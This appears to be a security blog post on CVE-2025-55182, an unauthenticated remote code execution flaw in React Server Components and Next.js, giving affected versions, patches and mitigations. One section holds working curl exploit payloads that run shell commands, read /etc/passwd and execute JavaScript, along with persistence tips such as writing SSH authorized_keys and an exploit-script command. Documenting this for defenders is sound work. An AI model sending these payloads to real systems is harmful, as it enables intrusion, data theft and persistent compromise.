React Server Components RCE: CVE-2025-55182 Is a CVSS 10.0 and You Need to Patch Now

TL;DR — Stop Scrolling and Patch#

Source: Wiz Research: Critical Vulnerabilities in React and Next.js

• CVE-2025-55182 (React) and CVE-2025-66478 (Next.js) = unauthenticated RCE in React Server Components
• CVSS 10.0 — the "everything is on fire" score
• Default create-next-app deployments are vulnerable out of the box
• Exploitation requires one HTTP request. Near 100% reliability in testing.
• 39% of cloud environments have vulnerable instances (per Wiz Research)
• Patch right now. Coffee can wait.

Patched versions:

• React: 19.0.1, 19.1.2, 19.2.1
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

What Happened#

On December 3rd, 2025, the React team disclosed a critical vulnerability in React Server Components (RSC). Wiz Research published their analysis the same day — they'd been tracking this and working with hosting providers on mitigations.

The vulnerability was discovered by Lachlan Davidson via Meta's Bug Bounty program on November 29th. Four days later, fixes were live. Fast turnaround, but the window was enough for mass exploitation if anyone had found this in the wild first.

The core issue: insecure deserialization in the RSC "Flight" protocol. When your server receives an RSC payload, it decodes it. A malformed payload can make the server execute attacker-controlled JavaScript. No auth needed. One HTTP request. Game over.

Who's Affected#

This isn't a "if you're using some obscure config" situation. Default configurations are vulnerable.

Vulnerable Packages#

• react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-parcel — same versions
• react-server-dom-turbopack — same versions

Affected Frameworks#

Anything implementing RSC is potentially exposed:

• Next.js — CVE-2025-66478 (their own CVE because they inherit the flaw)
• React Router (RSC preview mode)
• Waku
• Vite RSC plugin (@vitejs/plugin-rsc)
• Parcel RSC plugin (@parcel/rsc)
• Redwood SDK (rwsdk)

If your app doesn't use a server or doesn't use RSC, you're fine. But if you're on Next.js 14.3.0-canary.77 or later, or any Next.js 15.x/16.x — assume you're vulnerable until patched.

How Exploitation Works (High-Level)#

The React team and Wiz are withholding full technical details to give defenders time. Here's what we know:

1. React Server Functions translate client calls into HTTP requests
2. The server deserializes these requests back into function calls
3. A crafted malicious payload can bypass validation
4. Attacker-controlled data influences server-side execution
5. Result: RCE

The attack vector is:

• Remote — just needs network access to your app
• Unauthenticated — no login required
• Reliable — Wiz reported "near 100% success rate" in testing

This is the kind of vuln that makes red teamers smile and blue teamers cry.

Reproducing the Vulnerability#

Want to see it in action? There's a PoC repo that demonstrates the vuln with actual vulnerable react-server-dom-webpack@19.0.0 code.

Repo: ejpir/CVE-2025-55182-poc

Quick Setup#

git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc
npm install
npm start  # Starts vulnerable server on port 3002

The Exploit#

The vulnerability is in how requireModule() accesses exports — bracket notation without a hasOwnProperty check:

// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

An attacker crafts a malicious $ACTION_REF payload that references bundled Node modules. When the server deserializes it, boom — arbitrary function calls.

Test It Yourself#

With the PoC server running, these curl commands demonstrate RCE:

# Execute shell command
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Read /etc/passwd
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Execute arbitrary JavaScript
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

Available Gadgets#

The exploit works with any module bundled by webpack. Common dangerous ones:

Even if vm and child_process aren't bundled, fs alone enables persistence attacks — writing to ~/.ssh/authorized_keys, modifying ~/.bashrc, or overwriting node_modules for RCE on restart.

Scanning Tools#

For checking your own infrastructure:

• sickwell/CVE-2025-55182 — Python exploit with --check mode
• fatguru/CVE-2025-55182-scanner — Non-intrusive surface scanner

# Example with sickwell's exploit
python3 exploit.py --url https://target.com --post-endpoint "/api/action" --check

The Wiz Research Data#

Wiz has visibility into cloud environments and shared some sobering stats:

• 39% of cloud environments contain vulnerable React/Next.js instances
• 69% of environments have Next.js running somewhere
• 61% of those have public-facing Next.js apps
• 44% of all cloud environments have publicly exposed Next.js

If you're in a large org, statistically speaking, you probably have at least one vulnerable instance right now.

What To Do Right Now#

1. Patch Your Framework#

Next.js — upgrade to the patched version in your release line:

On Next.js 14.3.0-canary.77 or later canary? Downgrade to stable 14.x.

React (direct usage) — update to 19.0.1, 19.1.2, or 19.2.1 depending on your branch. Also update react-server-dom-webpack, react-server-dom-parcel, or react-server-dom-turbopack to latest.

Other frameworks (React Router RSC, Waku, Redwood SDK, Vite RSC, Parcel RSC) — update React deps to latest and check their respective docs for framework-specific patches.

2. Check for Exposed Instances#

If you're running vulnerability scans, look for:

• Next.js headers (x-powered-by: Next.js) on public endpoints
• Any of the vulnerable package versions in your dependency tree

# Check your lockfile for vulnerable versions
grep -E "react-server-dom-(webpack|parcel|turbopack)" package-lock.json

3. Temporary Mitigations (If You Can't Patch Immediately)#

React mentions they worked with hosting providers on mitigations. Vercel, Netlify, and others may have applied edge-level protections. Don't rely on this — it's a stopgap.

If you have a WAF, consider blocking requests with malformed RSC payloads. The specifics depend on your WAF, but look for:

• Unusual characters in Content-Type: text/x-component requests
• Oversized or malformed request bodies to RSC endpoints

But seriously, just patch. It's one npm command.

4. Check Your CI/CD#

Make sure your deployment pipeline pulls the fixed versions. If you have cached node_modules or Docker layers, bust those caches. A stale lockfile will keep pulling vulnerable versions.

Timeline#

The Takeaway#

This is one of those vulns that hits the sweet spot of "easy to exploit" and "widely deployed." React Server Components are still relatively new, but Next.js adoption has pushed RSC into production at scale. A lot of teams shipped RSC apps without realizing they were early adopters of a protocol that hadn't been battle-tested against adversarial input.

Key lessons:

• Serialization/deserialization is a perennial attack surface — if your server is deserializing untrusted input, it's a target
• Default configs being vulnerable is the worst case — most devs assume defaults are secure
• The React ecosystem moved fast on this — 4 days from report to fix is impressive
• Wiz's 39% stat is a wake-up call — modern stacks are interconnected, and one vuln ripples through

Now go patch. Then check your other servers. Then get that coffee.

References#

• React Team Blog: Critical Security Vulnerability in React Server Components
• Wiz Research: Critical Vulnerabilities in React and Next.js
• CVE-2025-55182 (React)
• CVE-2025-66478 (Next.js)
• React Release 19.0.1
• PoC Repo: ejpir/CVE-2025-55182-poc